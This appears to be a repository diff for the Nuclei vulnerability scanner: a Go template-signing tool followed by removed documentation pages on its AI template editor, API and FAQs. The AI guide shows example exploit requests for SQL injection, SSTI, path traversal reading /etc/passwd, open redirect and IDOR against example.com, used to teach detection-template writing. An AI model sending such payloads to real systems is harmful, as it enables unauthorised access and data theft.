defaultPrivKey = filepath.Join(appConfigDir, "keys", "nuclei-user-private-key.pem")
|
||||
)
|
||||
|
||||
var (
|
||||
template string
|
||||
cert string
|
||||
privKey string
|
||||
)
|
||||
|
||||
func main() {
|
||||
flag.StringVar(&template, "template", "", "template to sign (file only)")
|
||||
flag.StringVar(&cert, "cert", defaultCertFile, "certificate file")
|
||||
flag.StringVar(&privKey, "priv-key", defaultPrivKey, "private key file")
|
||||
flag.Parse()
|
||||
|
||||
config.DefaultConfig.LogAllEvents = true
|
||||
gologger.DefaultLogger.SetMaxLevel(levels.LevelVerbose)
|
||||
|
||||
if template == "" {
|
||||
gologger.Fatal().Msg("template is required")
|
||||
}
|
||||
if !fileutil.FileExists(template) {
|
||||
gologger.Fatal().Msgf("template file %s does not exist or not a file", template)
|
||||
}
|
||||
|
||||
// get signer
|
||||
tmplSigner, err := signer.NewTemplateSignerFromFiles(cert, privKey)
|
||||
if err != nil {
|
||||
gologger.Fatal().Msgf("failed to create signer: %s", err)
|
||||
}
|
||||
gologger.Info().Msgf("Template Signer: %v\n", tmplSigner.Identifier())
|
||||
|
||||
// read file
|
||||
bin, err := os.ReadFile(template)
|
||||
if err != nil {
|
||||
gologger.Fatal().Msgf("failed to read template file %s: %s", template, err)
|
||||
}
|
||||
|
||||
// extract signature and content
|
||||
sig, content := signer.ExtractSignatureAndContent(bin)
|
||||
hash := sha256.Sum256(content)
|
||||
|
||||
gologger.Info().Msgf("Signature Details:")
|
||||
gologger.Info().Msgf("----------------")
|
||||
gologger.Info().Msgf("Signature: %s", sig)
|
||||
gologger.Info().Msgf("Content Hash (SHA256): %s\n", hex.EncodeToString(hash[:]))
|
||||
|
||||
execOpts := defaultExecutorOpts(template)
|
||||
|
||||
tmpl, err := templates.Parse(template, nil, execOpts)
|
||||
if err != nil {
|
||||
gologger.Fatal().Msgf("failed to parse template: %s", err)
|
||||
}
|
||||
gologger.Info().Msgf("Template Verified: %v\n", tmpl.Verified)
|
||||
|
||||
if !tmpl.Verified {
|
||||
gologger.Info().Msgf("------------------------")
|
||||
gologger.Info().Msg("Template is not verified, signing template")
|
||||
if err := templates.SignTemplate(tmplSigner, template); err != nil {
|
||||
gologger.Fatal().Msgf("Failed to sign template: %s", err)
|
||||
}
|
||||
// verify again by reading file what the new signature and hash is
|
||||
bin2, err := os.ReadFile(template)
|
||||
if err != nil {
|
||||
gologger.Fatal().Msgf("failed to read signed template file %s: %s", template, err)
|
||||
}
|
||||
sig2, content2 := signer.ExtractSignatureAndContent(bin2)
|
||||
hash2 := sha256.Sum256(content2)
|
||||
|
||||
gologger.Info().Msgf("Updated Signature Details:")
|
||||
gologger.Info().Msgf("------------------------")
|
||||
gologger.Info().Msgf("Signature: %s", sig2)
|
||||
gologger.Info().Msgf("Content Hash (SHA256): %s\n", hex.EncodeToString(hash2[:]))
|
||||
}
|
||||
gologger.Info().Msgf("✓ Template signed & verified successfully")
|
||||
}
|
||||
|
||||
func defaultExecutorOpts(templatePath string) protocols.ExecutorOptions {
|
||||
// use parsed options when initializing signer instead of default options
|
||||
options := types.DefaultOptions()
|
||||
templates.UseOptionsForSigner(options)
|
||||
catalog := disk.NewCatalog(filepath.Dir(templatePath))
|
||||
executerOpts := protocols.ExecutorOptions{
|
||||
Catalog: catalog,
|
||||
Options: options,
|
||||
TemplatePath: templatePath,
|
||||
Parser: templates.NewParser(),
|
||||
}
|
||||
return executerOpts
|
||||
}
|
||||
@@ -1,265 +0,0 @@
|
||||
---
|
||||
|
||||
title: 'AI Assistance'
|
||||
|
||||
---
|
||||
|
||||
<img src="/images/ai.jpg" alt="AI Prompt" width="800px"/>
|
||||
|
||||
[Nuclei Template Editor](https://templates.nuclei.sh/) has AI to generate templates for vulnerability reports. This document helps to guide you through the process, offering you usage tips and examples.
|
||||
|
||||
## Overview
|
||||
|
||||
Powered by public Nuclei templates and a rich CVE data set, the AI understands a broad array of security vulnerabilities. First, the system interprets the user's prompt to identify a specific vulnerability. Then, it generates a template based on the steps required to reproduce the vulnerability along with all the necessary meta information to reproduce and remediate.
|
||||
|
||||
---
|
||||
|
||||
## Initial Setup
|
||||
|
||||
Kick start your AI Assistance experience with these steps:
|
||||
|
||||
1. **Provide Detailed Information**: Construct comprehensive Proof of Concepts (PoCs) for vulnerabilities like Cross-Site Scripting (XSS), and others.
|
||||
2. **Understand the Template Format**: Get to grips with the format to appropriately handle and modify the generated template.
|
||||
3. **Validation and Linting**: Utilize the integrated linter to guarantee the template's validity.
|
||||
4. **Test the Template**: Evaluate the template against a test target ensuring its accuracy.
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
* **Precision Matters**: Detailed prompts yield superior templates.
|
||||
* **Review and Validate**: Consistently check matchers' accuracy.
|
||||
* **Template Verification**: Validate the template on known vulnerable targets before deployment.
|
||||
---
|
||||
|
||||
## Example Prompts
|
||||
|
||||
The following examples demonstrate different vulnerabilities and the corresponding Prompt.
|
||||
|
||||
<Accordion title="Vulnerability: Open Redirect">
|
||||
|
||||
Open redirect vulnerability identified in a web application. Here's the PoC:
|
||||
|
||||
HTTP Request:
|
||||
|
||||
```
|
||||
GET /redirect?url=http://malicious.com HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
```
|
||||
HTTP/1.1 302 Found
|
||||
Location: http://malicious.com
|
||||
Content-Length: 0
|
||||
Server: Apache
|
||||
```
|
||||
The application redirects the user to the URL specified in the url parameter, leading to an open redirect vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: SQL Injection">
|
||||
|
||||
SQL Injection vulnerability in a login form. Here's the PoC:
|
||||
|
||||
HTTP Request:
|
||||
|
||||
```
|
||||
POST /login HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
username=admin&password=' OR '1'='1
|
||||
```
|
||||
|
||||
HTTP Response:
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Welcome back, admin</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application improperly handles user input in the password field, leading to an SQL Injection vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Business logic (negative cart balance)">
|
||||
|
||||
Business Logic vulnerability in a web application's shopping cart function allows for negative quantities, leading to credit. Here's the PoC:
|
||||
|
||||
HTTP Request:
|
||||
|
||||
```
|
||||
POST /add-to-cart HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
product_id=1001&quantity=-1
|
||||
```
|
||||
|
||||
HTTP Response:
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Product added to cart. Current balance: -$19.99</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application fails to validate the quantity parameter, resulting in a Business Logic vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Server-side Template Injection (SSTI)">
|
||||
|
||||
Server-side Template Injection (SSTI) vulnerability through a web application's custom greeting card function. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
POST /create-card HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
message={{7*7}}
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Your card: 49</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application processes the message parameter as a template, leading to an SSTI vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Insecure Direct Object Reference (IDOR)">
|
||||
|
||||
Insecure Direct Object Reference (IDOR) vulnerability discovered in a website's user profile page. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
GET /profile?id=2 HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Cookie: session=abcd1234
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Welcome, otheruser</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application exposes sensitive information of a user (ID: 2) who is not the authenticated user (session: abcd1234), leading to an IDOR vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Path Traversal">
|
||||
|
||||
Path Traversal vulnerability identified in a web application's file download function. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
GET /download?file=../../etc/passwd HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/plain
|
||||
Content-Length: 1827
|
||||
Server: Apache
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
```
|
||||
|
||||
The application fetches the file specified in the file parameter from the server file system, leading to a Path Traversal vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Business logic (extend VIP subscription)">
|
||||
|
||||
Business logic vulnerability in a web application's VIP subscription function allows users to extend the trial period indefinitely. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
POST /extend-trial HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Cookie: session=abcd1234
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
|
||||
<p>Your VIP trial period has been extended by 7 days.</p>
|
||||
|
||||
</html>
|
||||
```
|
||||
|
||||
The application does not limit the number of times the trial period can be extended, leading to a business logic vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
Each of these examples provides HTTP Requests and Responses to illustrate the vulnerabilities.
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Limitations
|
||||
|
||||
Please note that the current AI is trained primarily on HTTP data. Template generation for non-HTTP protocols is not supported at this time. Support for additional protocols is under development and will be available soon.
|
||||
|
||||
---
|
||||
@@ -1,17 +0,0 @@
|
||||
---
|
||||
title: "Generate Template (AI)"
|
||||
description: "Generate nuclei template using AI prompt"
|
||||
api: "POST https://templates-api.nuclei.sh/v1/template/user/generate"
|
||||
version: 'v1'
|
||||
---
|
||||
|
||||
|
||||
## Parameters (required)
|
||||
|
||||
<ParamField body="prompt" type="string" required>
|
||||
AI Prompt to generate nuclei template
|
||||
</ParamField>
|
||||
|
||||
<ParamField body="model" type="string" default="gpt-4" required>
|
||||
OpenAI model to use
|
||||
</ParamField>
|
||||
@@ -1,20 +0,0 @@
|
||||
---
|
||||
title: "Scan Template"
|
||||
description: "Scan target host using a specified nuclei template."
|
||||
api: "POST https://templates-api.nuclei.sh/v1/template/user/scan"
|
||||
version: 'v1'
|
||||
---
|
||||
|
||||
## Parameters (required)
|
||||
|
||||
<ParamField body="target" type="string" required>
|
||||
Target host to scan using nuclei template.
|
||||
|
||||
**Constraints**: Valid hostname or IP address or URL.
|
||||
</ParamField>
|
||||
|
||||
<ParamField body="template_base64" type="string" required>
|
||||
Base64 encoded nuclei template.
|
||||
|
||||
**Constraints**: Valid Base64 encoded template.
|
||||
</ParamField>
|
||||
@@ -1,43 +0,0 @@
|
||||
---
|
||||
title: 'Introduction'
|
||||
---
|
||||
|
||||

|
||||
|
||||
[Nuclei Template Editor](https://templates.nuclei.sh) is a multi-functional cloud hosted tool designed for creating, running, and sharing Nuclei Templates. It's packed with helpful features for individual and professional users seeking to manage and execute templates.
|
||||
|
||||
The following table showcases the current and upcoming features:
|
||||
|
||||
| Feature | Description and Use | Availability |
|
||||
| ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------- |
|
||||
| **Editor** | Experience something akin to using VS Code with our integrated editor, built on top of Monaco. This feature allows easy writing and modification of Nuclei Templates. | Free |
|
||||
| **Optimizer** | Leverage the in-built TemplateMan API to automatically lint, format, validate, and enhance your Nuclei Templates. | Free |
|
||||
| **Scan (URL)** | Run your templates on a targeted URL to check their validity. | Free \* |
|
||||
| **Debugger** | Utilize the in-built debugging function that displays requests and responses of your template scans, aiding troubleshooting and understanding template behavior. | Free |
|
||||
| **Cloud Storage** | Store and access your Nuclei Templates securely anytime, anywhere using your account. | Free |
|
||||
| **Sharing** | Share your templates for better collaboration by generating untraceable unique links. | Free |
|
||||
| **AI-Assistance** | Employ AI to craft Nuclei Templates based on the context of specified vulnerabilities. This feature simplifies template creation and tailors them to minimize the time required for creation. | Free \* |
|
||||
| **Scan (LIST, CIDR, ASN)**| In the professional version, run scans on target lists, network ranges (CIDR), AS numbers (ASN). | Professional `(upcoming)` |
|
||||
| **REST API** | In the professional version, fetch templates, call the AI, and perform scans remotely using APIs. | Professional `(upcoming)` |
|
||||
| **PDCP Sync** | Sync your generated templates with the ProjectDiscovery Cloud Platform for easy access and management, available in the professional version. | Professional `(upcoming)` |
|
||||
|
||||
## Free Feature Limitations
|
||||
|
||||
Some features available within the free tier have usage caps in place:
|
||||
|
||||
- **Scan (URL):** You're allowed up to **100** scans daily.
|
||||
- **AI-Assistance:** Up to **10** queries can be made each day.
|
||||
|
||||
The limitations, reset daily, ensure system integrity and availability while providing access to key functions.
|
||||
|
||||
***
|
||||
## How to Get Started
|
||||
|
||||
Begin by ensuring you have an account. If not, sign up on [https://templates.nuclei.sh](https://templates.nuclei.sh/) and follow the steps below:
|
||||
|
||||
1. Log in to your account at [https://templates.nuclei.sh](https://templates.nuclei.sh).
|
||||
2. Click on the "**Create new template**" button to open up a fresh editor.
|
||||
3. Write and modify your template. The editor avails tools like syntax highlighting, snippet suggestion, among other features to simplify your writing process.
|
||||
4. Having written your template, input your testing target and click the "**Scan**" button to authenticate your template's accuracy.
|
||||
|
||||
<iframe src="https://templates.nuclei.sh/public/CVE-2023-0297" width="700px" height="700px"></iframe>
|
||||
@@ -1,23 +0,0 @@
|
||||
---
|
||||
title: 'Template Share'
|
||||
---
|
||||
|
||||
Nuclei Template Editor offers the ability to share any public templates, including the ones you create.
|
||||
|
||||
<img src="/images/share-template.jpg" alt="Share Template" width="800px" />
|
||||
|
||||
To share a template, click on the "Share" button which generates a link that can be sent to others.
|
||||
|
||||
## How to Share Public Templates
|
||||
|
||||
Public templates are designed for ease of sharing. You don't need to be authenticated to share them, meaning there's no need to log in. These templates are mapped with their Template ID, following a static URL pattern. For instance, a public template URL might resemble this: [https://templates.nuclei.sh/public/CVE-2023-35078](https://templates.nuclei.sh/public/CVE-2023-35078). In the given URL, `CVE-2023-35078` is the Template ID representing the template in the [nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) project.
|
||||
|
||||
## How to Share User Templates
|
||||
|
||||
User templates, unlike public templates, require authentication for sharing. These templates are assigned a unique, UUID-based ID similar to YouTube's unlisted URLs for sharing purposes. This means anyone given the shared URL will be able to access the template.
|
||||
|
||||
## Revoking Access to Shared Templates
|
||||
|
||||
If at any point you want to limit the access to the shared template, it is as simple as changing the visibility of the template to private. After this change, the originally shared link will become inactive. However, you have the flexibility to share it again, which would generate a new unique ID.
|
||||
|
||||
Please remember, while sharing is easy, it's important to distribute the URL cautiously as the link allows full access to the shared template.
|
||||
@@ -1,20 +0,0 @@
|
||||
---
|
||||
title: 'Editor Shortcut'
|
||||
---
|
||||
|
||||
Nuclei Template Editor is equipped with keyboard shortcuts to make your work process more efficient. You can utilize these shortcuts whether you're creating a new template or optimizing an existing one, enabling quicker actions without interfering with your workflow.
|
||||
|
||||
Here is a list of the actions, along with their corresponding shortcut keys and descriptions:
|
||||
|
||||
| **Action** | **Shortcut Key** | **Description** |
|
||||
| ---------------------- | ----------------------- | ----------------------------------------------------- |
|
||||
| Save Template | **CMD + S** | Saves the current template. |
|
||||
| Duplicate Template | **CMD + D** | Creates a copy of a public template. |
|
||||
| Execute Template | **CMD + SHIFT + SPACE** | Run a scan with the current template. |
|
||||
| Share Template Link | **ALT + SHIFT + SPACE** | Generates a URL for sharing the current template. |
|
||||
| Search Templates | **CMD + K** | Searches within your own templates. |
|
||||
| Copy Template | **CMD + SHIFT + C** | Copies the selected template to your clipboard. |
|
||||
| Show/Hide Side Bar | **CMD + B** | Toggles the visibility of the side bar. |
|
||||
| Show/Hide Debug Panel | **CMD + SHIFT + M** | Toggles the visibility of the debug panel for extra insight. |
|
||||
|
||||
**Note:** For Mac users, the CMD key is used for these shortcuts. Non-Mac users (Windows and Linux) should use the CTRL key instead.
|
||||
@@ -1,12 +0,0 @@
|
||||
---
|
||||
title: 'Editor'
|
||||
---
|
||||
|
||||
### **Q: Who owns the templates generated by the AI?**
|
||||
**A:** You own any templates generated by the AI through the Nuclei Templates Editor. They are your property, and you are granted a perpetual license to use and modify them as you see fit.
|
||||
|
||||
### **Q: How accurate are the templates generated by the AI?**
|
||||
**A:** The accuracy of the generated templates is primarily dependent on the detail and specificity of the input you provide. The more detailed information you supply, the better the AI can understand the context and create an accurate template. However, as with any AI tool, it is highly recommended to review, validate, and test any generated templates before using them in a live environment.
|
||||
|
||||
### **Q: Does AI learn from the templates I generate?**
|
||||
**A:** No, AI does not use the templates you generate for further training or improvement of the AI model. The system only utilizes public templates and CVE data for training, ensuring your unique templates remain confidential.
|
||||
@@ -1,130 +0,0 @@
|
||||
---
|
||||
title: "Nuclei"
|
||||
---
|
||||
|
||||
<AccordionGroup>
|
||||
<Accordion title="What is nuclei?" icon="circle-info" iconType="solid">
|
||||
Nuclei is a fast and customizable vulnerability scanner based on simple **YAML-based templates**.
|
||||
|
||||
It has two components, 1) [Nuclei](http://github.com/projectdiscovery/nuclei) engine - the core of the project allows scripting HTTP / DNS / Network / Headless / File protocols based checks in a very simple to read-and-write YAML-based format. 2) Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) - ready-to-use **community-contributed** vulnerability templates.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What was the genesis behind nuclei?" icon="circle-info" iconType="solid">
|
||||
Traditional scanners always lacked the features to allow easy-to-write custom checks on top of their engine. And this is why we started developing Nuclei with a core focus on simplicity, modularity, and the ability to scan on many assets.
|
||||
|
||||
We wanted something simple enough to be used by _**everyone**_ while complex enough to integrate into the modern web with its intricacies. The features implemented in nuclei are tailored to allow very rapid prototyping of complex security checks.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What modules does nuclei engine support?" icon="circle-info" iconType="solid">
|
||||
Nuclei engine supports the following type of modules.
|
||||
|
||||
- [HTTP](/template-guide/http/base-http/)
|
||||
- [DNS](/template-guide/dns/)
|
||||
- [TCP](/template-guide/network/)
|
||||
- [FILE](/template-guide/file/)
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What kind of scans can I perform with nuclei?" icon="circle-info" iconType="solid">
|
||||
Nuclei can be used to detect security vulnerabilities in **Web Applications**, **Networks**, **DNS** based misconfiguration, and **Secrets scanning** in source code or files on the local file system.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How well-maintained is this project?" icon="circle-info" iconType="solid">
|
||||
The nuclei project is actively developed and maintained by the [ProjectDiscovery](https://projectdiscovery.io/#/) team, and generally releases every 2 weeks.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How can I support/contribute to this project? 💙" icon="fire-flame-curved" iconType="solid">
|
||||
To help keep project momentum, we request everyone to write and share new templates with the community in the [template project](https://github.com/projectdiscovery/nuclei-templates). Please help us maintain this public, ready to use, and up-to-date nuclei template repository.
|
||||
|
||||
If you found an interesting/unique security issue using nuclei and want to share the process walk-through in the form of a blog, we are happy to publish your guest post on the [ProjectDiscovery blog](https://blog.projectdiscovery.io).
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I found results with nuclei. When should I report it?" icon="triangle-exclamation" iconType="solid">
|
||||
**Wait a minute** -- after nuclei detected a security issue, it's always advised to have a second look before reporting it. Here's a tip to confirm/validate the issues.
|
||||
|
||||
<Accordion title="How do I validate nuclei results?" icon="fire-flame-curved" iconType="solid">
|
||||
Once nuclei finds a result, and you have vulnerable **target** and **template**, rerun the template with **`-debug`** flag to inspect the output against the expected matcher defined in the template. In this way, you can confirm the identified vulnerability.
|
||||
</Accordion>
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How much traffic does nuclei generate?" icon="triangle-exclamation" iconType="solid">
|
||||
By default nuclei will make several thousand requests (both HTTP protocol and other services) against a single target when running **all nuclei-templates**. This stems from over 3500 nuclei templates in the [[template releases](https://github.com/projectdiscovery/nuclei-templates/releases/), with more added daily.
|
||||
|
||||
<Note>As default, few templates listed [here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) are excluded from default scans.</Note>
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Is it safe to run nuclei?" icon="triangle-exclamation" iconType="solid">
|
||||
We consider two factors to say **"safe"** in context of nuclei -
|
||||
|
||||
1. The **traffic** nuclei makes against the target website.
|
||||
2. The **impact** templates have on the target website.
|
||||
|
||||
<Check>
|
||||
**HTTP Traffic**
|
||||
|
||||
Nuclei usually makes fewer HTTP requests than the number of templates selected for a scan due to its intelligent request reduction. While some templates contain multiple requests, this rule generally holds true across most scan configurations.
|
||||
</Check>
|
||||
|
||||
<Check>
|
||||
**Safe Templates**
|
||||
|
||||
The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.
|
||||
</Check>
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What is nuclei's license?" icon="circle-info" iconType="solid">
|
||||
Nuclei is an open-source project distributed under the [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md).
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I have more questions! 🙋" icon="circle-info" iconType="solid">
|
||||
Please join our [Discord server](https://discord.gg/projectdiscovery), or contact us via [Twitter](http://twitter.com/pdnuclei).
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Missing dependencies in headless mode on Linux" icon="triangle-exclamation" iconType="solid">
|
||||
Headless mode on machines based on Linux (OS or containers, eg. Docker) might face runtime errors due to missing dependencies related to specific OS-shared libraries used by chrome binary.
|
||||
Usually, these errors can be fixed by pre-installing the browser on the specific distribution. Here is a list of the steps needed for the most common distributions.
|
||||
Ubuntu
|
||||
|
||||
With snap:
|
||||
```sh
|
||||
sudo snap install chromium
|
||||
```
|
||||
|
||||
Without snap:
|
||||
```sh
|
||||
sudo apt update
|
||||
sudo snap refresh
|
||||
sudo apt install zip curl wget git
|
||||
sudo snap install golang --classic
|
||||
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
|
||||
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
|
||||
sudo apt update
|
||||
sudo apt install google-chrome-stable
|
||||
```
|
||||
|
||||
In case you are unable to install the browser, or want to install only the minimum required dependencies, run the following command:
|
||||
```
|
||||
sudo apt-get install libnss3 libgconf-2-4
|
||||
```
|
||||
|
||||
If you encounter an error similar to "libnss3.so: cannot open shared object file: No such file or directory," try running the following command to install the dev version:
|
||||
|
||||
```
|
||||
sudo apt-get install libnss3-dev
|
||||
```
|
||||
|
||||
Error type examples:
|
||||
```
|
||||
Error: Expected nil, but got: &errors.errorString{s:"[launcher] Failed to launch the browser, the doc might help https://go-rod.github.io/#/compatibility?id=os: /root/.cache/rod/browser/chromium-1018003/chrome-linux/chrome: error while loading shared libraries: libnss3.so: cannot open shared object file: No such file or directory\n"}
|
||||
```
|
||||
```
|
||||
could not create browser
|
||||
```
|
||||
```
|
||||
Command '/usr/bin/chromium-browser' requires the chromium snap to be installed.
|
||||
Please install it with:
|
||||
snap install chromium
|
||||
```
|
||||
</Accordion>
|
||||
</AccordionGroup>
|
||||
@@ -1,70 +0,0 @@
|
||||
---
|
||||
title: "Templates"
|
||||
---
|
||||
|
||||
<AccordionGroup>
|
||||
<Accordion title="What are nuclei templates?" icon="circle-info" iconType="solid">
|
||||
Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) are the core of the nuclei project. The templates contain the actual logic that is executed in order to detect various vulnerabilities. The project consists of **several thousand** ready-to-use **[community-contributed](https://github.com/projectdiscovery/nuclei-templates/graphs/contributors)** vulnerability templates.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How can I write nuclei templates?" icon="circle-info" iconType="solid">
|
||||
We maintain a [template guide](/template-guide/introduction) for writing new and custom nuclei templates. We also have [example templates](/template-example/http/base-http) for various modules nuclei supports.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Is writing nuclei templates useful?" icon="fire-flame-curved" iconType="solid">
|
||||
Performing security assessment of an application is time-consuming. It's always better and time-saving to automate steps whenever possible. Once you've found a security vulnerability, you can prepare a nuclei template by defining the required HTTP request to reproduce the issue, and test the same vulnerability across multiple hosts with ease. It's worth mentioning ==you write the template once and use it forever==, as you don't need to manually test that specific vulnerability any longer.
|
||||
|
||||
Here are few examples from the community making use of templates to automate the security findings.
|
||||
<Accordion title="Reference" icon="pencil">
|
||||
- https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/
|
||||
- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
|
||||
- https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
|
||||
- https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state
|
||||
- https://blog.projectdiscovery.io/writing-nuclei-templates-for-wordpress-cves/
|
||||
</Accordion>
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How do I run nuclei templates?" icon="circle-info" iconType="solid">
|
||||
Nuclei templates can be executed using a template name or with tags, using `-templates` (`-t`) and `-tags` flag, respectively.
|
||||
|
||||
```
|
||||
nuclei -tags cve -list target_urls.txt
|
||||
```
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I want to contribute nuclei templates! 😁" icon="circle-info" iconType="solid">
|
||||
You are always welcome to share your nuclei templates with the community. You can either open a [GitHub issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=nuclei-template&template=submit-template.md&title=%5Bnuclei-template%5D+template-name) with the template details or open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with your nuclei templates. If you don't have a GitHub account, you can also make use of the [discord server](https://discord.gg/projectdiscovery) to share the template with us.
|
||||
</Accordion>
|
||||
|
||||
|
||||
<Accordion title="I'm getting false-positive results!" icon="triangle-exclamation" iconType="solid">
|
||||
The nuclei template project is a **community-contributed project**. The ProjectDiscovery team manually reviews templates before merging them into the project. Still, there is a possibility that some templates with weak matchers will slip through the verification. This could produce false-positive results. **Templates are only as good as their matchers.**
|
||||
|
||||
If you identified templates producing false positive/negative results, here are few steps that you can follow to fix them quickly.
|
||||
|
||||
<Accordion title="I found a template producing false positive or negative results, but I'm not sure if this is accurate." icon="circle-info" iconType="solid">
|
||||
Direct message us on [Twitter](https://twitter.com/pdnuclei) or [Discord](https://discord.gg/projectdiscovery) to confirm the validity of the template.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I found a template producing false positive or negative result and I don't know how to fix it." icon="circle-info" iconType="solid">
|
||||
Please open a GitHub [issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=false-positive&template=false-positive.md&title=%5Bfalse-positive%5D+template-name+) with details, and we will work to address the problem and update the template.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I found a template producing a false positive or negative result and I know how to fix it." icon="circle-info" iconType="solid">
|
||||
Please open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with fix.
|
||||
</Accordion>
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I'm not able to run all templates!" icon="triangle-exclamation" iconType="solid">
|
||||
The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Templates exist on GitHub but are not running with nuclei?" icon="triangle-exclamation" iconType="solid">
|
||||
When you download or update nuclei templates using the nuclei binary, it downloads all the templates from the latest **release**. All templates added after the release exist in the [master branch](https://github.com/projectdiscovery/nuclei-templates) and are added to nuclei when a new template release is created.
|
||||
</Accordion>
|
||||
|
||||
</AccordionGroup>
|
||||
|
Before Width: | Height: | Size: 2.8 KiB |
@@ -1,20 +0,0 @@
|
||||
---
|
||||
title: 'Features'
|
||||
---
|
||||
|
||||
| Feature | Description |
|
||||
